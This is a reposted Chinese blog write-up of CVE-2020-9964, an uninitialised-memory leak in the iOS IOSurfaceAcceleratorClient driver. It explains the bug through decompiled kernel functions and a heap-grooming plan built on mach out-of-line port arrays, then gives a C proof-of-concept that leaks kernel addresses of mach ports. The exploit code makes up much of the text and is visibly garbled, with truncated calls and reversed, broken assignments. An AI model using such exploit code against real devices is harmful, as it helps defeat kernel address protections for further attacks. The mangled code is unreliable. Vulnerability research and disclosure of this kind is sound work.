iOS 14现已向公众开放,并附带了iOS 14.0安全内容更新。您将看到的其中一个漏洞是CVE-2020-9964,这是IOSurfaceAccelerator中的一个漏洞,也是我的第一个信息泄漏:)
我(@ Muirey03)和MohamedGhannam(@ _simo36)都被发现了此漏洞。如果我发现有更多知道这一点的人,我将不会感到惊讶。
Apple将此错误的影响描述为“本地用户可能能够读取内核内存”,并在描述中将其称为“内存初始化问题”,那么该错误是什么?
IOSurfaceAcceleratorClient :: user_get_histogram
IOSurfaceAcceleratorClient是AppleM2ScalerCSCDriver IOService的用户客户端,并且是可以从“应用程序沙箱”中打开的少数几个用户客户端之一。我们对该用户客户端上的一种特定外部方法
(方法9,IOSurfaceAcceleratorClient :: user_get_histogram)感兴趣。IOSurfaceAcceleratorClient使用旧版
IOUserClient :: getTargetAndMethodForIndex
作为其外部方法,这就是方法9的IOExternalMethod描述符的样子:
{
IOSurfaceAcceleratorClient::user_get_histogram,
kIOUCStructIStructO,
0x8,
0x0
}
IOReturn IOSurfaceAcceleratorClient::user_get_histogram(IOSurfaceAcceleratorClient *this, void *input, uint64_t inputSize)
{
IOReturn result;
if (this->calledFromKernel)
{
...
}
else
{
IOMemoryDescriptor *memDesc = IOMemoryDescriptor::withAddressRange(*(mach_vm_address_t *)input, this->histogramSize, kIODirectionOutIn, this->task);
if ( memDesc )
{
ret = memDesc->prepare(kIODirectionNone);
if (ret)
{
...
}
else
{
ret = AppleM2ScalerCSCDriver::get_histogram(this->fOwner, this, memDesc);
memDesc->complete(kIODirectionNone);
}
memDesc->release();
}
else
{
ret = kIOReturnNoMemory;
}
}
return ret;
}
AppleM2ScalerCSCDriver :: get_histogram`
IOReturn AppleM2ScalerCSCDriver::get_histogram_gated(AppleM2ScalerCSCDriver *this, IOSurfaceAcceleratorClient *client, IOMemoryDescriptor *memDesc)
{
IOReturn result;
if ( memDesc->writeBytes(0, client->histogramBuffer, client->histogramSize) == client->histogramSize )
result = kIOReturnSuccess;
else
result = kIOReturnIOError;
return result;
}
IOSurfaceAcceleratorClient::histogramBuffer
这个问题的答案最终是
IOSurfaceAcceleratorClient :: initClient,
它看起来像这样:
bool IOSurfaceAcceleratorClient::initClient(IOSurfaceAcceleratorClient *this, AppleM2ScalerCSCDriver *owner, int type, AppleM2ScalerCSCHal *hal)
{
...
if ( ... )
{
...
if ( ... )
{
size_t bufferSize = ...;
this->histogramSize = bufferSize;
this->histogramBuffer = (void *)IOMalloc(bufferSize);
IOAsynchronousScheduler *scheduler = IOAsynchronousScheduler::ioAsynchronousScheduler(0);
this->scheduler = scheduler;
if ( scheduler )
return true;
...
}
else
{
...
}
}
else
{
...
}
this->stopClient();
return false;
}
这是可疑的。histogramBuffer已分配但未填充,并且IOMalloc不会将内存归零,从而使histogramBuffer完全未初始化。正是在这一点上,我尝试为我自己调用该方法,但没有人感到惊讶,发现自己在看很多0xdeadbeef,这是未初始化内存的典型标志。
“开发”
我们正在将未初始化的内存泄漏回用户空间,但是我们该怎么办?像这样的信息泄漏自身相对而言是无害的,但是在利用其他内存损坏问题时有时是必不可少的。进行漏洞利用的一个常见要求是找到马赫端口地址,因此这是我进行漏洞利用的目标,但值得一提的是,该漏洞也可以用来击败kASLR。
我为此漏洞利用选择的目标分配是mach消息脱机端口阵列。发送马赫消息时,可以选择将消息标记为“复杂”。这告诉内核,标头后面的不是原始数据,而是一个“主体”,后跟与消息一起发送的描述符。这些描述符之一是mach_msg_ool_ports_descriptor_t,这是 一组插入到接收任务中的离线端口权限。
内核通过创建一个缓冲区来处理这些OOL端口,该缓冲区包含一个在消息发送时指向数组中每个端口的指针,并在收到消息后释放该缓冲区(有关此代码,请参见ipc_kmsg_copyin_ool_ports_descriptor,如果您感兴趣,则为“非常复杂,太长了,无法在此处粘贴)。这对我们来说是完美的!我们可以使用它来触发任何大小的内核分配,其中包含我们要读取的确切数据(马赫端口指针),并且我们可以在任何时候完全确定地释放它。
高级漏洞利用流程
因此,我的漏洞利用计划如下所示:
-
发送一些消息,其OOL端口数组的大小与client-> histogramSize相同
-
通过接收消息释放这些阵列
-
打开一个IOSurfaceAcceleratorClient连接,分配histogramBuffer,它现在应该与这些空闲端口数组之一重叠
-
调用外部方法9,将端口指针读回到用户空间
-
利润
漏洞利用
最终的利用如下:
#include <stdlib.h>
#include <assert.h>
#include <stdio.h>
#include <mach/mach.h>
#include <IOKit/IOKitLib.h>
#if 0
:
IOSurfaceAcceleratorClient::user_get_histogram takes a userspace pointer and writes histogram data back to that address.
IOSurfaceAcceleratorClient::initClient allocates this histogram buffer, but does not zero the memory.
:user_get_histogram is called, this uninitialised memory is then sent back to userspace. :
This vulnerability is reachable from within the app sandbox on iOS.
Below is a proof-of-concept exploit which utilises this vulnerability to leak the address of any mach port that the calling process holds a send-right to.
Other kernel object addresses can be obtained using this vulnerability in similar ways.
#endif
#define ASSERT_KR(kr) do { \
if (kr != KERN_SUCCESS) { \
fprintf(stderr, "kr: %s (0x%x)\n", mach_error_string(kr), kr); \
exit(EXIT_FAILURE); \
} \
} while(0)
#define LEAK_SIZE 0x300
#define SPRAY_COUNT 0x80
mach_port_t create_port(void)
{
mach_port_t p = MACH_PORT_NULL;
MACH_PORT_RIGHT_RECEIVE, &p);
p, p, MACH_MSG_TYPE_MAKE_SEND);
return p;
}
io_connect_t open_client(const char* serviceName, uint32_t type)
{
io_connect_t client = MACH_PORT_NULL;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(serviceName));
!= MACH_PORT_NULL);
mach_task_self(), type, &client);
!= MACH_PORT_NULL);
IOObjectRelease(service);
return client;
}
void push_to_freelist(mach_port_t port)
uint32_t portCount = LEAK_SIZE / sizeof(void*);
struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t ool_ports;
msg = {{0}};
ports = (mach_port_t*)malloc(portCount * sizeof(mach_port_t));
for (uint32_t i = 0; i < portCount; i++)
port; =
size_t msgSize = sizeof(msg);
MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX); =
msgSize; =
'OOLP'; =
1; =
MACH_MSG_OOL_PORTS_DESCRIPTOR; =
(void*)ports; =
portCount; =
false; =
MACH_MSG_PHYSICAL_COPY; =
MACH_MSG_TYPE_MAKE_SEND; =
mach_port_t rcvPorts[SPRAY_COUNT];
for (uint32_t i = 0; i < SPRAY_COUNT; i++)
{
mach_port_t rcvPort = create_port();
rcvPort; =
rcvPort; =
kernel allocation of port array:
kern_return_t kr = mach_msg(&msg.header, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, (mach_msg_size_t)msgSize, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
ASSERT_KR(kr);
}
for (uint32_t i = 1; i < SPRAY_COUNT; i++)
rcvPorts[i]);
free((void*)ports);
}
actual vulnerability:
void leak_bytes(void* buffer)
{
io_connect_t client = open_client("AppleM2ScalerCSCDriver", 0);
kern_return_t kr = IOConnectCallStructMethod(client, 9, (uint64_t*)&buffer, 8, NULL, NULL);
ASSERT_KR(kr);
IOServiceClose(client);
}
uint64_t find_port_addr(mach_port_t port)
{
(uint64_t*)malloc(LEAK_SIZE); =
heap\n");
push_to_freelist(port);
0x%zx bytes\n", (size_t)LEAK_SIZE);
leak_bytes(leak);
uint64_t addr = leak[1];
free(leak);
return addr;
}
int main(int argc, char* argv[], char* envp[])
{
mach_port_t port = create_port();
uint64_t port_addr = find_port_addr(port);
port address: %p\n", (void*)port_addr);
return 0;
}
我发现此漏洞利用程序的成功率接近100%,几乎无法检测到任何故障,从而使漏洞利用程序可以继续运行直到成功为止。
注:
我被告知,此漏洞的可利用性受到iOS 14堆分离的影响。我对iOS 14中所做的更改了解不足以确认这一点,但是在查看将来未初始化的内存泄漏时,绝对需要考虑这一点。
本文地址:http://dufengvip.cn/post-440.html
未标注转载均为本站远程,转载请注明文章出处: